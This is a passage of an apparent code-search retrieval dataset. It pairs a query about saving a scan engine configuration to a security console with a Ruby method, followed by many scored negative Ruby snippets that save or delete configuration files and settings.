"0.6393556",
"0.63833356",
"0.63767976",
"0.6291756",
"0.6271522",
"0.6253366",
"0.623813",
"0.6180208",
"0.6167163",
"0.6068107",
"0.6037367",
"0.6022041",
"0.6009033",
"0.5998587",
"0.5996607",
"0.5979072",
"0.5972593",
"0.59255195",
"0.59095997",
"0.58988243",
"0.58799887",
"0.5875129",
"0.58728164",
"0.584756",
"0.58439445",
"0.58192784",
"0.5804982",
"0.5788917",
"0.5786498",
"0.5782902",
"0.5782902",
"0.5782902",
"0.5780791",
"0.5744573",
"0.572353",
"0.5709346",
"0.5705946",
"0.5698664",
"0.5697719",
"0.56911904",
"0.5688358",
"0.5612347",
"0.5602722",
"0.56022227",
"0.56016856",
"0.5599274",
"0.5578834",
"0.5576195",
"0.55680823",
"0.5566545",
"0.5563046",
"0.5563046",
"0.55512404",
"0.55512404",
"0.55501074",
"0.55435497",
"0.553189",
"0.55223966",
"0.5521434",
"0.5486391",
"0.54760736",
"0.54552495",
"0.5431758",
"0.54200786",
"0.5414718",
"0.54057336",
"0.5404023",
"0.53924894",
"0.5387648",
"0.53858835"
] |
0.0
|
-1
|
Save this engine configuration to the security console.
|
def save(connection)
xml = '<EngineSaveRequest session-id="' + connection.session_id + '">'
xml << to_xml
xml << '</EngineSaveRequest>'
r = connection.execute(xml, '1.2')
if r.success
r.res.elements.each('EngineSaveResponse/EngineConfig') do |v|
return @id = v.attributes['id'].to_i
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def save()\n File.open(CONFIG_FILE, 'w'){ |f| f.write config.to_yaml } # Store\n end",
"def save_config\n\t\t# Build out the console config group\n\t\tgroup = {}\n\n\t\tif (active_module)\n\t\t\tgroup['ActiveModule'] = active_module.fullname\n\t\tend\n\n\t\t# Save it\n\t\tbegin\n\t\t\tMsf::Config.save(ConfigGroup => group)\n\t\trescue ::Exception\n\t\t\tprint_error(\"Failed to save console config: #{$!}\")\n\t\tend\n\tend",
"def save\r\n SystemConfig.set name, to_h(false), true\r\n end",
"def save\n if self.valid?\n # encrypt_password\n file = File.new(FILE_PATH, \"w+\")\n YAML::dump(self.attributes, file)\n file.close\n end\n end",
"def store\n File.open(@config_file, 'w') do |f|\n f.chmod(0600)\n f.write(@config.to_json)\n end\n end",
"def save\r\n SystemConfig.set :auth, to_h, true\r\n end",
"def save\n Dir.chdir(@gl_admin.working_dir)\n\n #Process config file\n new_conf = @config.to_file(@confdir)\n @gl_admin.add(new_conf)\n\n #Process ssh keys\n files = list_keys(@keydir).map{|f| File.basename f}\n keys = @ssh_keys.values.map{|f| f.map {|t| t.filename}}.flatten\n\n to_remove = (files - keys).map { |f| File.join(@keydir, f)}\n @gl_admin.remove(to_remove)\n\n @ssh_keys.each_value do |key|\n key.each do |k|\n @gl_admin.add(k.to_file(@keydir))\n end\n end\n end",
"def save_settings\n open(@@FN_CREDENTIALS, \"wb\") { |fd| fd.write(YAML::dump(@credentials)) }\n open(@@FN_CONFIG, \"wb\") { |fd| fd.write(YAML::dump(@configuration)) }\n open(@@FN_SETTINGS, \"wb\") { |fd| fd.write(YAML::dump(@settings)) }\n end",
"def save_configuration\n File.open(config_file, \"w\") do |file|\n file.write(YAML.dump(@config))\n end\n end",
"def save_configuration\n create_config_dir_if_needed\n\n if configuration_writable?\n File.write(configuration_path, configuration_data.deep_stringify_keys!.to_yaml)\n configuration_data = read_configuration\n else\n throw StandardError.new \"Configuration cannot be saved at '#{configuration_path}'\"\n end\n end",
"def save\n File.open(file_name, 'w') { |f| f.write config.to_yaml }\n end",
"def Save\n # Write sysconfig variables.\n Builtins.y2milestone(\"Saving configuration data\")\n\n SCR.Write(path(\".sysconfig.autoinstall.REPOSITORY\"), @Repository)\n SCR.Write(path(\".sysconfig.autoinstall.CLASS_DIR\"), @classDir)\n\n nil\n end",
"def save\n return unless dirty? && config.respond_to?(:write)\n\n config.write\n clean_up\n end",
"def save_config_signature\n Origen.app.session.origen_sim[\"#{id}_config\"] = config\n end",
"def save_config_signature\n Origen.app.session.origen_sim[\"#{id}_config\"] = config.except(*NON_DATA_CONFIG_ATTRIBUTES)\n end",
"def save_settings\n File.open(@path, \"w\") do |file|\n file.write @settings.to_yaml\n end\n end",
"def save_config\n self.data = JSON.dump(self.config)\n end",
"def save_config\n self.data = JSON.dump(self.config)\n end",
"def save\n # Nothing in base class. This should be used to persist settings in\n # subclasses that use files.\n end",
"def save\n File.open(SETTING_FILE, 'w') do |file|\n file.write @values.to_yaml\n end\n end",
"def save\n if !Dir.exists? @config_directory\n FileUtils.mkdir_p @config_directory\n end\n\n open(@file, 'w').write @main.to_yaml\n end",
"def save\n attributes = MultiJson.dump({ name: @name, linkbutton: @linkbutton })\n Huey::Request.put(\"config\", body: attributes)\n self.reload\n end",
"def cmd_notify_save\n\t\t\t\tprint_status(\"Saving paramters to config file\")\n\t\t\t\tif @user_name and @webhook_url\n\t\t\t\t\tconfig = {'user_name' => @user_name, 'webhook_url' => @webhook_url}\n\t\t\t\t\tFile.open(Notify_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All parameters saved to #{Notify_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend",
"def write_config\n # Allow disabling the local settings.\n return unless new_resource.local_settings_path\n file new_resource.local_settings_path do\n content new_resource.local_settings_content\n mode '640'\n owner new_resource.parent.owner\n group new_resource.parent.group\n end\n end",
"def save()\n @env.sync(true)\n self\n end",
"def persist\n settings = {\n area: @focus[:key]\n }\n File.open(@path, 'w') do |file|\n file.write settings.to_yaml\n end\n end",
"def save_settings\n File.open( @settings_filename, 'w' ) do |out|\n YAML.dump( @app_settings, out )\n end\n @log.debug \"Settings saved into #{@settings_filename}\"\n end",
"def save_settings!\n File.open(settings_path, \"w\") { |f| f << settings.to_nested_hash.to_yaml }\n settings.create_accessors!\n end",
"def save\n write_properties\n notify(EVENT_SAVE, self)\n end",
"def save\n open @config_path, 'w' do |io|\n io.write({'files' => @files.collect(&:to_hash)}.to_yaml)\n end\n end",
"def cmd_notify_save\n\t\t\t\tprint_status(\"Saving options to config file\")\n\t\t\t\tif @user_name and @webhook_url and $source\n\t\t\t\t\tconfig = {'user_name' => @user_name, 'webhook_url' => @webhook_url, 'source' => $source}\n\t\t\t\t\tFile.open(Notify_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All settings saved to #{Notify_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend",
"def save\n # get a new KEK\n kek = OpenSSL::Random.random_bytes(32)\n \n # set up a cipher to encrypt the keystore\n cipher = get_cipher\n cipher.encrypt(kek)\n iv = cipher.random_iv\n\n # dump the keystore and pad it with a random length\n ksdata = OpenSSL::Random.random_bytes(2)\n len = ksdata.unpack(\"n\").first\n ksdata << OpenSSL::Random.random_bytes(len)\n ksdata << Marshal.dump(@ks)\n\n # encrypt the keystore with its KEK\n ciphertext = cipher.update(ksdata)\n ciphertext << cipher.final\n\n # encrypt the KEK\n public_rsa = @config[:SSLPrivateKey].public_key\n encrypted_key = public_rsa.public_encrypt(kek)\n\n # write out the encrypted KEK, the IV and the ciphertext\n File.open(@config[:filename], \"w\") do |fp| \n fp << encrypted_key\n fp << iv\n fp << ciphertext\n end\n end",
"def save_config\n config = $bot[:config].clone\n config.delete :client\n File.open \"./#{Twittbot::CONFIG_FILE_NAME}\", 'w' do |f|\n f.write config.to_yaml\n end\n end",
"def save_editor_settings\n Sketchup.write_default('MSPhysics', 'Editor Theme', @editor_theme.to_s)\n Sketchup.write_default('MSPhysics', 'Editor Font', @editor_font.to_i)\n Sketchup.write_default('MSPhysics', 'Editor Wrap', @editor_wrap.to_s)\n Sketchup.write_default('MSPhysics', 'Editor Print Margin', @editor_print_margin)\n Sketchup.write_default('MSPhysics', 'Editor Size', @editor_size.inspect)\n Sketchup.write_default('MSPhysics', 'Dialog Help Box', @dialog_help_box)\n Sketchup.write_default('MSPhysics', 'Dialog Scale', @dialog_scale)\n end",
"def save_env; end",
"def save_cluster_configuration\n conf = cluster_attributes(CLUSTER_CONF_KEY)\n conf ||= {}\n merge_to_cluster_role({ CLUSTER_CONF_KEY => conf })\n end",
"def save_settings\n @list_id = env['TRELLO_TARGET_LIST_ID']\n @key = env['TRELLO_APP_KEY']\n @secret = env['TRELLO_SECRET']\n @token = env['TRELLO_USER_TOKEN']\n end",
"def put_configuration\n\n return if get('configurations', 'engine')\n\n put({ '_id' => 'engine', 'type' => 'configurations' }.merge(@options))\n end",
"def save\n FileUtils.mkdir_p(File.dirname(path)) unless File.directory?(File.dirname(path))\n File.open(path, \"w+\") { |f| f.puts(JSON.pretty_generate(secrets_hash)) }\n true\n end",
"def save\n File.open(@file, 'w') do |file|\n file.write(Psych.dump(@params))\n end\n @saved = true\n end",
"def save_settings\n @list_id = env['TRELLO_TARGET_LIST_ID']\n @key = env['TRELLO_APP_KEY']\n @secret = env['TRELLO_SECRET']\n @token = env['TRELLO_USER_TOKEN']\n @archive_card = env['ARCHIVE_CARD']\n end",
"def save(fn)\n begin\n File.open(fn,\"w\") do |file|\n output = \"\"\n self.each do |key, value|\n output << key.to_s + \"=\" + value.to_s + \"\\r\\n\"\n end\n\n file.print output\n file.close\n end\n rescue\n raise \"Error: trouble saving configuration file: #{fn}.\\nDetails: #{$!}\"\n end\n end",
"def configuration(options = nil, &block)\n ensure_mode(:configuration)\n instance_eval(&block)\n\n write! if options == :enforce_save\n end",
"def save\n\t\t\tsuper\n\t\t\t@@env = self\n\t\tend",
"def save\n recipients = Recipient.all\n recipients[self.id] = {:host => self.host, :username => self.username, :password => self.password, :path => self.path, :port => self.port}\n yaml = YAML::dump(recipients)\n fp = open((File.join(Gift::GIFT_DIR, Gift::RECIPIENTS_FILENAME)), 'w')\n fp.write(yaml)\n fp.close\n end",
"def save\r\n props = {}\r\n instance_variables.each{|v|\r\n # props[v.to_s[1..-1]] = instance_variable_get(\"#{v}\")\r\n p = v.to_s[1..-1]\r\n props[p] = self.send(p)\r\n }\r\n File.write(STORAGE, YAML.dump(props))\r\n end",
"def sauvegarder()\n begin\n File.open(CONSTANT_FICHIER_DATA_CONFIG, \"w\") do |f|\n \tf.puts Marshal.dump(self)\n end\n rescue Errno::ENOENT\n puts \"ERREUR: Configuration: sauvegarder(): le fichier #{CONSTANT_FICHIER_DATA_CONFIG} n'est pas accessible.\"\n end\n end",
"def save\n return unless self.class.configured?\n\n report_exception\n end",
"def save_configuration\n if File.exist? determine_config_path\n bytes_required = File.size(determine_config_path)\n # Overwrite the current .config file with random bytes to eliminate\n # unencrypted credentials.\n # This won't account for COW filesystems or SSD wear-levelling but\n # is a best effort protection.\n random_bytes = SecureRandom.random_bytes(bytes_required)\n File.write(determine_config_path, random_bytes)\n else\n FileUtils.mkdir_p(Pathname.new(determine_config_path).dirname)\n end\n configuration.save\n end",
"def save!\n File.open(connections_file, 'w') {|f| f.write(@connections.to_yaml) }\n end",
"def save( confighash, name )\n\t\t\traise NotImplementedError,\n\t\t\t\t\"required method 'save' not implemented in '#{self.class.name}'\"\n\t\tend",
"def save!\n @shell_file.exports = @commands\n @shell_file.write!\n end",
"def write\n require 'yaml'\n open config_file_name, 'w' do |io|\n io.write to_yaml\n end\n end",
"def save\n save_last_keychain_id!\n end",
"def save_config\n botpart_config = Hash[@config.to_a - $bot[:config].to_a]\n\n unless botpart_config.empty?\n File.open @botpart_config_path, 'w' do |f|\n f.write botpart_config.to_yaml\n end\n end\n end",
"def save_settings settings\n File.open(@settings_file, 'w') {|file| file << YAML::dump(settings)}\n end",
"def save\n ::File.open(@file, \"w\") { |file| file << self.to_hash.to_yaml }\n end",
"def save\n # Get the currently set path\n \tconfig_file = File.expand_path('../../config/bookhero.conf',File.dirname(__FILE__))\n settings = YAML::load(File.open(config_file))\n \t@configured_library_path = settings['library_path']\n \t@configured_google_api_key = settings['google_api_key']\n\n \n # Get data from form\n library_path = params[:library_path]\n if library_path.blank?\n library_path = @configured_library_path\n end\n\n google_api_key = params[:google_api_key]\n # if google_api_key.blank?\n # google_api_key = @configured_google_api_key \n # end\n\n # Write the data to yaml config file.\n \tdata = {\"library_path\" => \"#{library_path}\",\n \"google_api_key\" => \"#{google_api_key}\"}\n \tFile.open(File.expand_path('../../config/bookhero.conf',File.dirname(__FILE__)),\"w\") {|f| f.write(data.to_yaml)}\n\n # Read settings again\n redirect_to :action => \"settings\"\n\n end",
"def cmd_notify_pushover_save\n\t\t\t\tprint_status(\"Saving parameters to config file\")\n\t\t\t\tif @app_key and @user_key\n\t\t\t\t\tconfig = {'app_key' => @app_key, 'user_key' => @user_key}\n\t\t\t\t\tFile.open(Notify_pushover_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All parameters saved to #{Notify_pushover_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend",
"def cmd_twitt_save\n\t\t\t\tprint_status(\"Saving paramters to config file\")\n\t\t\t\tif @consumer_key and @consumer_secret and @oauth_token and @oauth_token_secret and @user\n\t\t\t\t\tconfig = {'consumer_key' => @consumer_key, 'consumer_secret' => @consumer_secret,\n\t\t\t\t\t\t\t'oauth_token' => @oauth_token, 'oauth_token_secret' => @oauth_token_secret,\n\t\t\t\t\t\t\t'user' => @user, 'source' => @source\n\t\t\t\t\t}\n\t\t\t\t\tFile.open(Twitter_yaml, 'w') do |out|\n\t\t\t\t\t\tYAML.dump(config, out)\n\t\t\t\t\tend\n\t\t\t\t\tprint_good(\"All parameters saved to #{Twitter_yaml}\")\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You have not provided all the parameters!\")\n\t\t\t\tend\n\t\t\tend",
"def persistData!\n File.open(getWorkingDir+'/data.host', 'w') do |f|\n f.write(@plataforms.to_yaml)\n end\n end",
"def save\n ConsoleGlitter.escape(\"s\")\n end",
"def save_config(scope = :user)\n case scope\n when :global\n if RUBY_PLATFORM.downcase =~ /mswin(?!ce)|mingw|bccwin/\n path = ENV['ALLUSERSPROFILE']\n else\n path = '/etc'\n end\n when :local\n path = File.expand_path '.'\n when :user\n path = File.expand_path '~'\n else\n path = scope\n end\n\n @config_factory.save_config @config,\n File.join(path, @settings[:config_file])\n end",
"def write_config\n File.open(@config_file, \"w\"){|f| YAML.dump(config, f)}\n end",
"def save\n unless File.exist?(config_dir)\n FileUtils.mkdir_p(config_dir, :mode => 0700)\n end\n\n tmpfile = File.join(config_dir, \"tmpconfig_#{rand 999999}\")\n File.open(tmpfile, \"w\") do |f|\n YAML.dump(conf, f )\n end\n\n FileUtils.mv(tmpfile, config_file)\n end",
"def save_env\n f = File.new(TddDeploy::Environ::ENV_FNAME, \"w\")\n self.env_types.keys.sort.each do |k|\n v = self.env_hash[k] || ''\n case self.env_types[k]\n when :int then f.write \"#{k}=#{v}\\n\"\n when :string then f.write \"#{k}=#{v}\\n\"\n when :list then\n f.write \"#{k}=#{self.list_to_str(k)}\\n\" unless k == 'hosts'\n when :pseudo then next\n when :capfile then next\n else\n raise ::RuntimeError.new(\"unknown key: #{k}\")\n end\n end\n f.close\n end",
"def save\n synchronize(:encinch_storage_save) do\n @storage.save\n end\n end",
"def save\n File.open(file, 'w') do |f|\n self.attributes.each {|key, value| f.write \"#{key}: '#{value}'\\n\" }\n end\n end",
"def save\n # Get the spec, since if we undefine the domain later, we won't be\n # able to.\n definable = spec\n\n # To modify an existing domain, we actually undefine and redefine it.\n # We can't use `set_domain` here since that will clear the `domain`\n # pointer, which we need to get the proper domain spec.\n domain.undefine if domain\n\n # At this point, assuming the virtuoso settings are correct, we\n # should have a bootable VM spec, so define it and reload the VM\n # information.\n set_domain(connection.domains.define(definable))\n end",
"def save\n File.open(yaml_file, 'w') {|f| f.write(to_yaml) }\n end",
"def save_file\r\n @saved = true\r\n saving\r\n Dir.mkdir(\"saves\") unless Dir.exists? \"saves\"\r\n File.open(\"my_save.yaml\", \"w\") {|f| f.puts YAML::dump(self) }\r\n end",
"def save( file = @hobix_yaml )\n unless file\n raise ArgumentError, \"Missing argument: path to save configuration (0 of 1)\"\n end\n File::open( file, 'w' ) do |f|\n YAML::dump( self, f )\n end\n self\n end",
"def save_cluster_configuration\n begin\n facets = Ironfan::IaasProvider.cluster_spec[CLUSTER_DEF_KEY][GROUPS_KEY]\n facet = facets.find { |f| f['name'] == facet_name.to_s }\n conf = facet[CLUSTER_CONF_KEY]\n rescue\n nil\n end\n\n conf ||= {}\n if conf\n @facet_role.default_attributes({ CLUSTER_CONF_KEY => conf })\n end\n conf\n end",
"def store\n credentials = ask_for_credentials\n\n ovewrite = if File.exist?(credentials_file)\n GoodData::CLI.terminal.ask(\"Overwrite existing stored credentials (y/n)\")\n else\n 'y'\n end\n\n if ovewrite == 'y'\n File.open(credentials_file, 'w', 0600) do |f|\n f.puts JSON.pretty_generate(credentials)\n end\n else\n puts 'Aborting...'\n end\n end",
"def save\n File.open(file, \"w\") {|f| f.write(to_hash.to_yaml) }\n end",
"def save_token(token)\n File.write(config_file, token)\n end",
"def save\n File.open(@base_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@config))\n end\n File.open(@completions_file, \"w\") do |f|\n f.puts(JSON.pretty_generate(@completions.to_a))\n end\n end",
"def save\n Cheetah.run([\"sudo\", \"virt-xml\", name, \"--edit\", \"--network\", \"mac=#{@mac}\"])\n Cheetah.run([\"sudo\", \"virt-xml\", name, \"--edit\", \"--boot\", @boot_order.join(\",\")])\n read_definition\n end",
"def generate_save\n YAML.dump(self)\n end",
"def save\n \tdata = self\n \t\n \tFile.open('store.yml','w') do |f|\n \t\tf.write(data.to_yaml)\n \tend\n \tputs data\n \tputs \"Saved!\"\n \tputs \"\"\n end",
"def save(name = @name)\n raise OneCfg::Config::Exception::NoContent if @content.nil?\n\n file_operation(name, 'w') {|file| file.write(to_s) }\n end",
"def save_config\n self.config['scheduling_criteria'] = '' if self.config['scheduling_criteria'] == 'null'\n self.config['from_time'] = self.config['from_time'].gsub(I18n.t('time.am'), \"am\").gsub(I18n.t('time.pm'), \"pm\")\n self.config['to_time'] = self.config['to_time'].gsub(I18n.t('time.am'), \"am\").gsub(I18n.t('time.pm'), \"pm\")\n self.data = JSON.dump(self.config)\n end",
"def save_and_validate_parameters\n # Configure the hash for use when connecting for cloning a machine\n @connection_options = {\n user: config[:vcenter_username],\n password: config[:vcenter_password],\n insecure: config[:vcenter_disable_ssl_verify] ? true : false,\n host: config[:vcenter_host],\n rev: config[:clone_type] == \"instant\" ? \"6.7\" : nil,\n }\n\n # If the vm_name has not been set then set it now based on the suite, platform and a random number\n if config[:vm_name].nil?\n config[:vm_name] = format(\"%s-%s-%s\", instance.suite.name, instance.platform.name, SecureRandom.hex(4))\n end\n\n raise format(\"Cannot specify both cluster and resource_pool\") if !config[:cluster].nil? && !config[:resource_pool].nil?\n end",
"def save_persist_state\n return unless @persist_file\n new_persist_options = {}\n BaseWorker.worker_classes.each do |worker_class|\n worker_class.each_config(@adapter_factory.worker_config_class) do |config_name, ignored_extended_worker_config_class, default_options|\n static_options = default_options.merge(@worker_options[config_name] || {})\n worker_config = self[config_name]\n hash = {}\n # Only store off the config values that are specifically different from default values or values set in the workers.yml file\n # Then updates to these values will be allowed w/o being hardcoded to an old default value.\n worker_config.bean_get_attributes do |attribute_info|\n if attribute_info.attribute[:config_item] && attribute_info.ancestry.size == 1\n param_name = attribute_info.ancestry[0].to_sym\n value = attribute_info.value\n hash[param_name] = value if static_options[param_name] != value\n end\n end\n new_persist_options[config_name] = hash unless hash.empty?\n end\n end\n if new_persist_options != @persist_options\n @persist_options = new_persist_options\n File.open(@persist_file, 'w') do |out|\n YAML.dump(@persist_options, out )\n end\n end\n end",
"def save\n @opts\n end",
"def save\n file = File.new(@file, 'w+')\n @properties.each { |key, value| file.puts \"#{key}=#{value}\\n\" }\n end",
"def save\n SAVE\n end",
"def save\n end",
"def save\n end",
"def write()\n open(CurrentFilename, 'w'){|fp|\n Marshal.dump(@current_setting, fp)\n }\n end",
"def save(options = {})\n save_to(@path, options)\n end",
"def save!\n end",
"def save_options\n if save_options?\n parts = Shellwords.join(@cli_options)\n create_file '.spritefulrc', parts + \"\\n\", force: true\n end\n end",
"def save(params)\r\n save_admin_pass(params[:admin_pass])\r\n save_setting(:site_name, params[:site_name])\r\n save_setting(:navbar_bg_color, params[:navbar_bg_color])\r\n save_setting(:navbar_font_color, params[:navbar_font_color])\r\n save_setting(:navbar_border_color, params[:navbar_border_color])\r\n save_setting(:page_bg_color, params[:page_bg_color])\r\n save_setting(:page_font_color, params[:page_font_color])\r\n save_setting(:subnav_bg_color, params[:subnav_bg_color])\r\n save_setting(:subnav_font_color, params[:subnav_font_color])\r\n save_setting(:copyright_name, params[:copyright_name])\r\n save_setting(:gallery_captions, params[:gallery_captions])\r\n save_setting(:meta_description, params[:meta_description])\r\n save_setting(:favicon, params[:favicon])\r\n save_setting(:paypal_client_id, params[:paypal_client_id])\r\n save_setting(:show_hidden_pages, params[:show_hidden_pages])\r\n end",
"def save_properties(options = {})\n Config::Collection.save(options)\n end",
"def save\n File.write(yfile, to_yaml)\n end",
"def _save_env\n require 'yaml'\n w_var = @var.dup\n @var[:blacklist_env].each { |b| w_var.delete b } if @var[:blacklist_env]\n _open_sefile('env3.yml', 'w') { |f| YAML.dump(w_var, f) }\nend",
"def write_settings\n Application.settings.set_value('pos', Qt::Variant.new(pos))\n Application.settings.set_value('size', Qt::Variant.new(size))\n Application.settings.sync\n end",
"def write\n return if @options == @original_options\n f = IO.popen('php', 'r+')\n f.write \"<?php var_export(json_decode('#{options_php_json}', true));\\n\"\n f.close_write\n data = f.read\n f.close\n File.open(@file, 'w') { |of| of.write \"<?php\\n$CONFIG = #{data};\\n\" }\n Chef::Log.info('OwnCloud config writen')\n rescue StandardError => e\n raise \"Error writing ownCloud configuration: #{e.message}\"\n end",
"def _save\n properties\n end"
] |
[
"0.681662",
"0.6630809",
"0.6502856",
"0.64619243",
"0.64393216",
"0.6413253",
"0.63849586",
"0.63841474",
"0.6371095",
"0.62953126",
"0.62655234",
"0.62274086",
"0.6182791",
"0.61431533",
"0.6122558",
"0.61088324",
"0.61045665",
"0.61045665",
"0.6085611",
"0.6033068",
"0.58576864",
"0.5853711",
"0.58335257",
"0.58324295",
"0.58303565",
"0.58260393",
"0.5823241",
"0.58188766",
"0.579129",
"0.57774514",
"0.57739455",
"0.57505953",
"0.5738945",
"0.57383126",
"0.5731546",
"0.57064027",
"0.5671554",
"0.56653696",
"0.5662308",
"0.5656605",
"0.5631695",
"0.5615281",
"0.5612777",
"0.56078815",
"0.5597152",
"0.5588507",
"0.5571505",
"0.5526555",
"0.55264145",
"0.5517969",
"0.5509962",
"0.5493187",
"0.54889196",
"0.54853743",
"0.54822475",
"0.5473533",
"0.54644376",
"0.54512095",
"0.5450064",
"0.5420748",
"0.5412303",
"0.5409486",
"0.53980553",
"0.5387359",
"0.5382788",
"0.5349898",
"0.53183",
"0.53021413",
"0.5293519",
"0.5275839",
"0.5275757",
"0.5271403",
"0.5256257",
"0.52463645",
"0.52379704",
"0.5236842",
"0.5226191",
"0.52247494",
"0.5213201",
"0.5209194",
"0.5192603",
"0.5178843",
"0.5177989",
"0.51663285",
"0.5162384",
"0.5158707",
"0.51564956",
"0.51362115",
"0.51362115",
"0.5134132",
"0.5132717",
"0.5132444",
"0.5130591",
"0.5128708",
"0.5124651",
"0.5119526",
"0.5101069",
"0.50987375",
"0.50955576",
"0.5092838"
] |
0.51955616
|
80
|
Delete this scan engine configuration from the security console.
|
def delete(connection)
connection.delete_engine(@id, @scope)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_configuration\n super\n end",
"def delete_configuration\n super\n end",
"def destroy\n @ddconfig.destroy\n end",
"def delete\n client.delete_launch_configuration(resource_options)\n nil\n end",
"def destroy\n conf.delete 'dashboard'\n end",
"def delete( )\n File.delete(@configFileDNE)\n self.clear\n self\n end",
"def delete(symbol)\n configuration.delete(symbol)\n end",
"def delete_at index\n @config.delete_at index\n end",
"def action_remove\n notifying_block do\n delete_config\n end\n end",
"def destroy_database_configuration_file\n FileUtils.rm(database_configuration_file)\n end",
"def destroy\n @configuration.destroy\n\n respond_to do |format|\n flash[:notice] = 'Configuration deleted.'\n format.html { redirect_to(configurations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n conf.delete 'api'\n end",
"def delete(key)\n self.config.delete(key)\n end",
"def destroy\n @configuration = current_host.configuration_parameters.find(params[:id])\n @configuration.destroy\n\n respond_to do |format|\n flash[:notice] = 'hostConfiguration was successfully deleted.'\n format.html { redirect_to host_url(current_host) }\n format.xml { head :ok }\n end\n end",
"def delete_all_configurations\n super\n end",
"def delete_all_configurations\n super\n end",
"def unauthorize\n Logger.info \"Cleaning up authorization for #{@registry.prefix}\"\n FileUtils.rm_rf(@gcloud_config_dir) unless @gcloud_config_dir.nil?\n end",
"def destroy\n ret = qmgmt(['volume', 'config', 'delete', resource[:name]])\n if ( ret.exitstatus != 0 )\n fail(\"quobyte volume config delete #{resource[:name]} failed with status #{ret.exitstatus.to_s}. Output follows.\" + out.join(\"\\n\"))\n end\n end",
"def destroy()\n FileUtils.remove_entry_secure(@keystore)\n end",
"def destroy\n @scrape_config.destroy\n respond_to do |format|\n format.html { redirect_to scrape_configs_url, notice: 'Scrape config was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(key)\n @config.delete(key.to_s)\n end",
"def destroy\n @gpu_conf.destroy\n respond_to do |format|\n format.html { redirect_to gpu_confs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @system_config.destroy\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :no_content }\n end\n end",
"def delete(key)\n configuration.delete(key)\n end",
"def clear(config)\n Array(config).each do |setting|\n delete_setting setting\n end\n end",
"def destroy\n @sys_config = SysConfig.find(params[:id])\n @sys_config.destroy\n\n respond_to do |format|\n format.html { redirect_to user_system_sys_configs_url }\n format.xml { head :ok }\n end\n end",
"def delete(key)\n @configuration.delete(key)\n end",
"def delete(key)\n @configuration.delete(key)\n end",
"def delete(key)\n @configuration.delete(key)\n end",
"def destroy\n @devis_configuration.destroy\n respond_to do |format|\n format.html { redirect_to devis_configurations_url, notice: 'Devis configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @system_configuration = SystemConfiguration.find(params[:id])\n @system_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configurations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @configuration_template.destroy\n head :ok\n end\n end",
"def delete_all\n @configuration = nil\n end",
"def delete_all\n @configuration = nil\n end",
"def destroy\n @scf_configuration.destroy\n respond_to do |format|\n format.html { redirect_to scf_configurations_url, notice: 'Scf configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def config_delete(name)\n Bundler.settings.set_local(name, nil)\n Bundler.settings.set_global(name, nil)\n end",
"def remove(name)\n @configuration_names.delete(name)\n @configurations.delete(name)\n # Clear the current configuration tree and then refresh the whole tree.\n clear\n refresh\n end",
"def remove\n system(\"qconf -duser #{name}\")\n end",
"def delete(key)\n load_config unless @config\n @config.delete(key)\n save_config\n end",
"def destroy\n @graphium_configuration.destroy\n respond_to do |format|\n format.html { redirect_to graphium_configurations_url, notice: 'Configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sysconfig = Sysconfig.find(params[:id])\n @sysconfig.destroy\n\n respond_to do |format|\n format.html { redirect_to sysconfigs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kernel_config.destroy\n respond_to do |format|\n format.html { redirect_to kernel_configs_url, notice: \"Kernel config was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def remove_config(name)\n\t\tend",
"def destroy\n\t\t@siteconfig.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to siteconfigs_url, notice: 'Siteconfig was successfully destroyed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @system_config = SystemConfig.find(params[:id])\n @system_config.destroy\n\n respond_to do |format|\n format.html { redirect_to system_configs_url }\n format.json { head :ok }\n end\n end",
"def cfg_delete(cfg)\n obj_delete cfg, ZoneConfiguration\n end",
"def destroy\n @kf_global_config = Kf::GlobalConfig.find(params[:id])\n @kf_global_config.destroy\n\n respond_to do |format|\n format.html { redirect_to kf_global_configs_url({:page => params[:page]}) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sims_instrument_configuration = SimsInstrumentConfiguration.find(params[:id])\n @sims_instrument_configuration.destroy\n\n respond_to do |format|\n format.html { redirect_to sims_instrument_configurations_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @configuration.destroy\n respond_to do |format|\n format.html { redirect_to configurations_url, notice: 'Configuration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config.destroy\n respond_to do |format|\n format.html { redirect_to configs_url, notice: \"Config was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @configuration_key.destroy\n respond_to do |format|\n format.html { redirect_to configuration_keys_url }\n format.json { head :no_content }\n end\n end",
